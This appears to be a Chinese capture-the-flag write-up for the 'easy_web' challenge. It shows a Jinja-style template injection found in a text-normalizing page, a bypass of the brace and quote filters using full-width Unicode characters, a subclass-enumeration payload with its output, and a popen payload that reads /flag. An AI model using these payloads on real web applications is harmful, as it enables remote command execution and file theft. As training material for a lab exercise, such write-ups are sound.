

easy_web

首先打开页面是一个有回显的输入框，那么能联想到的就是xss，ssti了，结合adworld很喜欢ssti，首先检测是否是ssti

首先会发现输入的都可以回显，但是在注入{构造ssti的时候却发现禁止。那么肯定是ssti无疑了。

首先思考能否通过url编码构造

字符规范器

将您输入的文本标准化的在线工具

没有识别，再尝试Unicode编码，只是纯粹的文字内容而已没有任何注入

字符规范器

将您输入的文本标准化的在线工具

使用全角标点可以绕过识别

字符规范器

将您输入的文本标准化的在线工具

并且在wp中提到的特殊字符网站<http://www.fhdq.net/>，可以使用—绕过，但我不明白这个是如何能做到{闭合的同等效果的？

字符规范器

将您输入的文本标准化的在线工具

```
{ {().__class__.__bases__[0].__subclasses__()) }
```

Go

```
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'moduledef'>, <class 'module'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class '_frozen_importlib.ModuleLock'>, <class '_frozen_importlib.DummyModuleLock'>, <class '_frozen_importlib.ModuleLockManager'>, <class '_frozen_importlib_installed_safely'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class
```

之后进行简单的ssti注入，配合脚本找关键函数就好了

```
{ {().__class__.__bases__[0].__subclasses__[127].__init__.__globals__.popen('cat /flag').read()} }
```

但是这里遇到问题是 " 和 ' 都被过滤，无法构造出popen的命令shell，如何绕过呢，在刚才的网站找到 `'`，就直接找到flag了

easy_web

GFSJ0923

积分 5

金币 5

18 最佳Writeup由 admin 提供

收藏 反馈

难度: 5 方向: Web 题解数: 3 解出人数: 1081

题目来源: 太湖杯

题目描述: easy_web

题目场景: [获取在线场景](#)

题目已回答正确 ✓